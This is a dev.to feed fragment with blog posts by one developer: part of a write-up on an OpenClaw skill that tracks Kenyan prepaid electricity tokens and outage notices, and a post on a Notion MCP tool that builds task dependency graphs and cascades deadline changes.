&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0xfynotulvropqwnqrna.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0xfynotulvropqwnqrna.png" alt="Languages"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;SKILL.md routing.&lt;/strong&gt; The frontmatter and markdown body tell the LLM when to activate this skill. I rewrote the trigger section multiple times. The first version was too broad, catching messages like "what's your power move?" and trying to record them as meter readings. The final version requires the &lt;code&gt;stima&lt;/code&gt; prefix for direct commands, auto-detects forwarded KPLC SMS by their distinct &lt;code&gt;Token: / Units:&lt;/code&gt; format, and maps natural language about electricity to the right command.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;HEARTBEAT.md scheduling.&lt;/strong&gt; Every 6 hours, the agent checks the burn rate against the current balance. If there's less than 24 hours of power left, it sends a warning. It also checks for planned outages and budget status. Weekly on Monday, it sends a consumption summary with week-over-week comparisons and day-of-week patterns. All of this happens without the user asking.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fp762tdg5odmtmpqrv9tz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fp762tdg5odmtmpqrv9tz.png" alt="Reminders"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Appliance-based estimates from day one.&lt;/strong&gt; During onboarding, the skill asks what appliances you have. It maps each one to realistic consumption using a (wattage × typical hours per day) model. A fridge is 150W × 24h. A water heater is 3000W × 5 minutes. An iron is 1000W × 10 minutes. This means the skill can predict how long your tokens will last before you've ever taken a meter reading. As real readings come in, the actual burn rate takes over.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgkeo71nz0rm6xchhlfmn.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgkeo71nz0rm6xchhlfmn.png" alt="Applicances"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Outage reminders.&lt;/strong&gt; When the skill detects a planned outage in your area, the agent sets a reminder for the evening before (around 8 PM) so you can charge your devices and plan ahead. The outage data includes ISO dates so the agent can calculate the reminder timing.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fe9664lpdwvyh0ahiysmi.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fe9664lpdwvyh0ahiysmi.png" alt="Reminders"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;M-Pesa top-up instructions.&lt;/strong&gt; When your balance is low, the agent doesn't just warn you. It tells you exactly how to buy more tokens: M-Pesa Paybill 888880, account number = your meter number, and asks you to forward the confirmation SMS back so it can track the purchase.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvfqnwak6lk4xcgddda58.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvfqnwak6lk4xcgddda58.png" alt="Mpesa"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Multi-skill composability.&lt;/strong&gt; Because the skill returns structured JSON, other OpenClaw skills can act on the data. A calendar skill could create events for planned outages. A payments skill could initiate M-Pesa top-ups when balance is critical. The skill doesn't need to know about these. The agent orchestrates.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Household onboarding.&lt;/strong&gt; On first use, the skill asks how many people live in the house, what area they live in, and what appliances they have. The area is used to match against KPLC's outage schedule. The appliance list powers both consumption estimates and contextual tips when balance is low.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkvsi8y298pwg8kfaz88v.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkvsi8y298pwg8kfaz88v.png" alt="household"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Budget tracking.&lt;/strong&gt; Users set a monthly electricity budget (&lt;code&gt;stima budget 3000&lt;/code&gt;). The skill tracks spending against it and warns at 80% and 100% thresholds.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Usage insights.&lt;/strong&gt; The skill compares this week's consumption against last week and identifies which days of the week are heaviest. Turns raw data into something actionable.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;PDF scraping for outage alerts.&lt;/strong&gt; The skill downloads KPLC's Power Maintenance Notice PDF directly from their website, splits the two-column layout, and regex-parses all scheduled outages with areas, dates, and times. It then matches against the user's area. The PDF is cached for 1 hour to avoid hammering KPLC's server.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;pdf_path&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tempfile&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;gettempdir&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;kplc_schedule.pdf&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;                                                                                 
  &lt;span class="n"&gt;urllib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;urlretrieve&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;KPLC_SCHEDULE_URL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;pdf_path&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;                                                                                             

  &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;pdfplumber&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pdf_path&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;pdf&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;                                                                                                              
      &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;page&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;pdf&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pages&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;                                                                                                                          
          &lt;span class="c1"&gt;# Split two-column layout into left and right halves                                                                                        
&lt;/span&gt;          &lt;span class="n"&gt;left&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;page&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;crop&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;page&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;width&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;page&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;height&lt;/span&gt;&lt;span class="p"&gt;)).&lt;/span&gt;&lt;span class="nf"&gt;extract_text&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;                                                                        
          &lt;span class="n"&gt;right&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;page&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;crop&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;page&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;width&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;page&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;width&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;page&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;height&lt;/span&gt;&lt;span class="p"&gt;)).&lt;/span&gt;&lt;span class="nf"&gt;extract_text&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;                                                              

          &lt;span class="c1"&gt;# Regex-parse AREA, DATE, TIME from each column                                                                                             
&lt;/span&gt;          &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;text&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;left&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;right&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;                                                                                                                  
              &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;area&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;date&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;findall&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;                                                                                                     
                  &lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;AREA:\s*(.+?)\n.*?DATE:\s*(.+?)\s*TIME:\s*(.+?)[\n\r]&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;                                                                           
                  &lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;IGNORECASE&lt;/span&gt;                                                                                                                 
              &lt;span class="p"&gt;):&lt;/span&gt;                                                                                                                                      
                  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;user_area&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;lower&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;area&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;lower&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;                                                                                               
                      &lt;span class="n"&gt;alerts&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;area&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;area&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;date&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;date&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;time&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt; 

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Sheng personality via SOUL.md.&lt;/strong&gt; The agent persona ("Stima") speaks casual English with Kenyan Sheng/Swahili flavor. But the personality lives in SOUL.md, not in the Python code. The scripts return data; the agent adds the flavor. This is how OpenClaw skills should work.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Local SQLite storage.&lt;/strong&gt; All data stays on the user's machine. No cloud sync, no external API beyond the LLM provider. The database auto-initializes on first message with owner-only file permissions.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Security hardening.&lt;/strong&gt; Parameterized SQL everywhere. User input via stdin heredoc (no shell injection). Profile values sanitized before display (no chat injection). DB error messages don't leak internals. Input length capped. Outbound requests locked to kplc.co.ke HTTPS only.&lt;/p&gt;

&lt;h2&gt;
  
  
  Demo
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://clawhub.ai/lewisawe/kplc-sentinel" class="crayons-btn crayons-btn--primary" rel="noopener noreferrer"&gt;Explore KPLC Sentinel on ClawHub&lt;/a&gt;
&lt;/p&gt;

&lt;h3&gt;
  
  
  YOUTUBE
&lt;/h3&gt;

&lt;p&gt;  &lt;iframe src="https://www.youtube.com/embed/H-2cB4kB9k0"&gt;
  &lt;/iframe&gt;
&lt;/p&gt;

&lt;h2&gt;
  
  
  Try it yourself
&lt;/h2&gt;

&lt;p&gt;If you have OpenClaw running, install the skill in one command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;clawhub install kplc-sentinel
pip install pdfplumber
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If you're starting from scratch:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npm &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;-g&lt;/span&gt; openclaw@latest
openclaw onboard                              &lt;span class="c"&gt;# set up your LLM API key&lt;/span&gt;
openclaw channels login &lt;span class="nt"&gt;--channel&lt;/span&gt; whatsapp    &lt;span class="c"&gt;# scan QR with your phone&lt;/span&gt;
clawhub &lt;span class="nb"&gt;install &lt;/span&gt;kplc-sentinel                 &lt;span class="c"&gt;# install the skill&lt;/span&gt;
pip &lt;span class="nb"&gt;install &lt;/span&gt;pdfplumber                        &lt;span class="c"&gt;# for outage PDF parsing&lt;/span&gt;
openclaw gateway                              &lt;span class="c"&gt;# start the agent&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For Telegram instead of WhatsApp:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;openclaw channels add &lt;span class="nt"&gt;--channel&lt;/span&gt; telegram &lt;span class="nt"&gt;--token&lt;/span&gt; &amp;lt;your-bot-token&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Message your agent and say &lt;code&gt;stima hi&lt;/code&gt; to start onboarding.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I Learned
&lt;/h2&gt;

&lt;p&gt;The biggest lesson: the agent should be the brain, not the messenger. My first version had the Python script printing fully formatted responses with emoji and Sheng phrases. The agent just parroted them. It worked, but it was a chatbot wearing an OpenClaw costume. The refactor to JSON output changed everything. Now the scripts return data, the agent applies the SOUL persona, and the same skill could work with a different personality or language without touching a line of Python.&lt;/p&gt;

&lt;p&gt;SKILL.md routing instructions matter more than the code. If the LLM doesn't know when to activate your skill, the code never runs. I rewrote the trigger section multiple times before the agent reliably caught KPLC messages without false-triggering on unrelated ones. Adding natural language examples in Swahili and Sheng to the routing table was the last iteration, and it made the skill feel native rather than command-driven.&lt;/p&gt;

&lt;p&gt;HEARTBEAT.md is what separates a chatbot from an agent. The skill went from "useful when you remember to check" to "warns you before you run out of power at 3 AM." That shift happened with 11 lines of plain English scheduling.&lt;/p&gt;

&lt;p&gt;Parsing the KPLC maintenance PDF was harder than expected. The document uses a two-column layout, so extracting text normally merges the columns into garbage. Splitting each page into left and right halves before extraction fixed it. The date formatting is also inconsistent across entries, which broke the parser until I made it case-insensitive.&lt;/p&gt;

&lt;p&gt;The appliance-based estimation model needed real-world thinking. My first version assigned flat kWh/day values to each appliance. A water heater got 4 kWh/day. But nobody runs a water heater all day. It runs for 5 minutes. The fix was switching to (wattage × typical hours per day): 3000W × 0.08h = 0.24 kWh/day. That one change made the estimates actually match what Kenyan households experience.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkh2lskjmg66lrilbg07e.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkh2lskjmg66lrilbg07e.png" alt="Estimation"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The Sheng personality makes a real difference. Early versions responded in plain English and felt like a utility. Adding "Sawa! Token imeingia" and "Stima yako iko na roughly 14 hours" made testers actually enjoy using it. But moving the personality from Python strings to SOUL.md was the right call. The agent should own the voice.&lt;/p&gt;

&lt;p&gt;Local storage was the right call. Electricity usage data is personal, and Kenyan households shouldn't need to send consumption patterns to a cloud service to get a "you're running low" alert.&lt;/p&gt;

&lt;p&gt;Security caught me early. The first version told the agent to run &lt;code&gt;python3 entrypoint.py "&amp;lt;user message&amp;gt;"&lt;/code&gt;, which meant shell metacharacters in a message could execute arbitrary commands. The fix was switching to stdin heredoc. User input never touches the shell interpreter.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fw87okyfxzkn2d0pzsv1b.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fw87okyfxzkn2d0pzsv1b.png" alt="Security "&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  ClawCon Michigan
&lt;/h2&gt;

&lt;p&gt;No did not attend&lt;/p&gt;

</description>
      <category>devchallenge</category>
      <category>openclawchallenge</category>
    </item>
    <item>
      <title>Building a Project Risk Engine on Top of Notion MCP</title>
      <dc:creator>Lewis Sawe</dc:creator>
      <pubDate>Sun, 29 Mar 2026 22:21:31 +0000</pubDate>
      <link>https://dev.to/lewisawe/building-a-project-risk-engine-on-top-of-notion-mcp-2fak</link>
      <guid>https://dev.to/lewisawe/building-a-project-risk-engine-on-top-of-notion-mcp-2fak</guid>
      <description>&lt;p&gt;&lt;em&gt;This is a submission for the &lt;a href="https://dev.to/challenges/notion-2026-03-04"&gt;Notion MCP Challenge&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  What I Built
&lt;/h2&gt;

&lt;p&gt;Risk Radar reads your Notion project databases, builds a dependency graph in memory, and writes risk reports back to Notion. It finds critical paths, single points of failure, and cascade risks that project managers usually track in their heads (or don't track at all).&lt;/p&gt;

&lt;p&gt;The part I'm most proud of: when a task is overdue, the agent walks the dependency graph and pushes every downstream deadline forward through &lt;code&gt;notion-update-page&lt;/code&gt;. Mark one task late, run the scan, and watch 8 dates shift in Notion automatically.&lt;/p&gt;

&lt;p&gt;Everything goes through Notion's MCP server. No direct API calls. Notion is the entire data layer.&lt;/p&gt;

&lt;h2&gt;
  
  
  Video Demo
&lt;/h2&gt;

&lt;p&gt;  &lt;iframe src="https://www.youtube.com/embed/qtmM9JgIgK0"&gt;
  &lt;/iframe&gt;
&lt;/p&gt;

&lt;h2&gt;
  
  
  Show us the code
&lt;/h2&gt;


&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://assets.dev.to/assets/github-logo-5a155e1f9a670af7944dd5e12375bc76ed542ea80224905ecaf878b9157cdefc.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/lewisawe" rel="noopener noreferrer"&gt;
        lewisawe
      &lt;/a&gt; / &lt;a href="https://github.com/lewisawe/risk-radar" rel="noopener noreferrer"&gt;
        risk-radar
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;
&lt;div class="markdown-heading"&gt;
&lt;h1 class="heading-element"&gt;🎯 Risk Radar — Dependency &amp;amp; Risk Intelligence for Notion&lt;/h1&gt;
&lt;/div&gt;
&lt;blockquote&gt;
&lt;p&gt;Built for the Notion MCP Hackathon — zero direct API calls, 100% MCP.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;The Problem&lt;/h2&gt;
&lt;/div&gt;
&lt;p&gt;Project managers track risks mentally but never systematically. When a task slips, nobody knows which 8 downstream tasks just broke their deadlines. Single points of failure hide in plain sight — one person quietly blocking an entire workstream. By the time anyone notices, the cascade has already happened.&lt;/p&gt;
&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;The Solution&lt;/h2&gt;
&lt;/div&gt;
&lt;p&gt;Risk Radar reads your Notion project databases, builds a dependency graph, and surfaces risks that humans miss. It writes actionable risk reports back to Notion and automatically propagates deadline changes through the dependency chain.&lt;/p&gt;
&lt;p&gt;Mark one task late → watch 8 downstream dates shift automatically.&lt;/p&gt;
&lt;p&gt;Everything runs through the Model Context Protocol (MCP) — zero direct Notion API calls.&lt;/p&gt;
&lt;div class="markdown-heading"&gt;
&lt;h3 class="heading-element"&gt;How It Works&lt;/h3&gt;

&lt;/div&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Read&lt;/strong&gt; — Fetches all projects and tasks from Notion via MCP, including dependency…&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/lewisawe/risk-radar" rel="noopener noreferrer"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;


&lt;h2&gt;
  
  
  How I Used Notion MCP
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Reading a dependency graph through MCP
&lt;/h3&gt;

&lt;p&gt;The Tasks database has a self-referencing "Depends On" relation. Reading this through MCP takes three steps per task: fetch the database to get the data source URL, search to get page IDs, then fetch each page individually to get its properties.&lt;/p&gt;

&lt;p&gt;The properties come back inside a &lt;code&gt;&amp;lt;properties&amp;gt;&lt;/code&gt; XML block as JSON. Relation fields like "Depends On" and "Project" are arrays of Notion page URLs. So building the graph means parsing URLs like &lt;code&gt;https://www.notion.so/abc123def456&lt;/code&gt;, stripping the prefix and dashes, and using the normalized ID as the graph node key. Without that normalization step, every dependency lookup fails silently and you get an empty graph. That bug cost me an hour.&lt;/p&gt;

&lt;h3&gt;
  
  
  The graph algorithms
&lt;/h3&gt;

&lt;p&gt;Once the tasks are in memory with their dependencies resolved to names, the risk engine runs four analyses:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Critical path&lt;/strong&gt; uses DFS with memoization from root tasks (tasks with no upstream dependencies). It finds the longest chain through the dependency graph. This tells you which sequence of tasks has zero slack — if any of them slip, the project end date moves.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Single point of failure detection&lt;/strong&gt; does a recursive downstream traversal per task owner. If one person's incomplete tasks collectively block two or more downstream tasks, they're flagged. This catches the scenario where one engineer is quietly blocking an entire workstream.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;At-risk detection&lt;/strong&gt; is simpler: compare each task's deadline to today. Overdue tasks, tasks due within 3 days that haven't started, and tasks due tomorrow that are still in progress all get flagged.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Cascade impact&lt;/strong&gt; runs BFS from each at-risk task to enumerate every downstream task that would be affected by a slip.&lt;/p&gt;

&lt;p&gt;The risk score combines these: &lt;code&gt;overdue_ratio × 40 + spof_penalty (capped at 30) + cascade_penalty (capped at 30)&lt;/code&gt;. It's a rough heuristic, but it produces scores that feel right. A project with one overdue task and no dependencies scores low. A project with an overdue task that blocks 5 others through a single owner scores high.&lt;/p&gt;

&lt;h3&gt;
  
  
  Writing reports and cascading deadlines
&lt;/h3&gt;

&lt;p&gt;The risk report is a Markdown page created with &lt;code&gt;notion-create-pages&lt;/code&gt;. It includes the risk score with an emoji indicator (🔴/🟡/🟢), the critical path, at-risk tasks with reasons, SPOFs with the tasks they're blocking, and cascade impact chains. A separate Health History entry logs the score with a date for trend tracking.&lt;/p&gt;

&lt;p&gt;The cascade feature is the most interesting MCP interaction. When the scan finds an overdue task, it calculates the slip in days, then does a BFS through the dependency graph. For each downstream task that isn't done, it calls &lt;code&gt;notion-update-page&lt;/code&gt; with the new deadline using the &lt;code&gt;"date:Deadline:start"&lt;/code&gt; property format. A 5-task cascade means 5 sequential MCP update calls. Each one shifts a real deadline in Notion.&lt;/p&gt;

&lt;h3&gt;
  
  
  What surprised me about Notion MCP
&lt;/h3&gt;

&lt;p&gt;The &lt;code&gt;notion-search&lt;/code&gt; results don't include full properties. You get page IDs and titles, but to read "Depends On" or "Deadline" you need a separate &lt;code&gt;notion-fetch&lt;/code&gt; per page. For 8 tasks across 3 projects, that's about 25 MCP calls just to read the data. It works, but it means the agent is I/O bound rather than compute bound. The graph algorithms themselves run in microseconds. The MCP calls take seconds.&lt;/p&gt;

&lt;p&gt;The other surprise was date properties. Setting a date requires two properties: &lt;code&gt;"date:Deadline:start"&lt;/code&gt; for the value and &lt;code&gt;"date:Deadline:is_datetime": 0&lt;/code&gt; to indicate it's a date-only field. Missing the second one doesn't error, but the date renders differently in Notion.&lt;/p&gt;

</description>
      <category>devchallenge</category>
      <category>notionchallenge</category>
      <category>mcp</category>
      <category>ai</category>
    </item>
    <item>
      <title>I Built an Agent That Assembles Incident War Rooms in Notion Through MCP</title>
      <dc:creator>Lewis Sawe</dc:creator>
      <pubDate>Sun, 29 Mar 2026 21:48:42 +0000</pubDate>
      <link>https://dev.to/lewisawe/i-built-an-agent-that-assembles-incident-war-rooms-in-notion-through-mcp-2idk</link>
      <guid>https://dev.to/lewisawe/i-built-an-agent-that-assembles-incident-war-rooms-in-notion-through-mcp-2idk</guid>
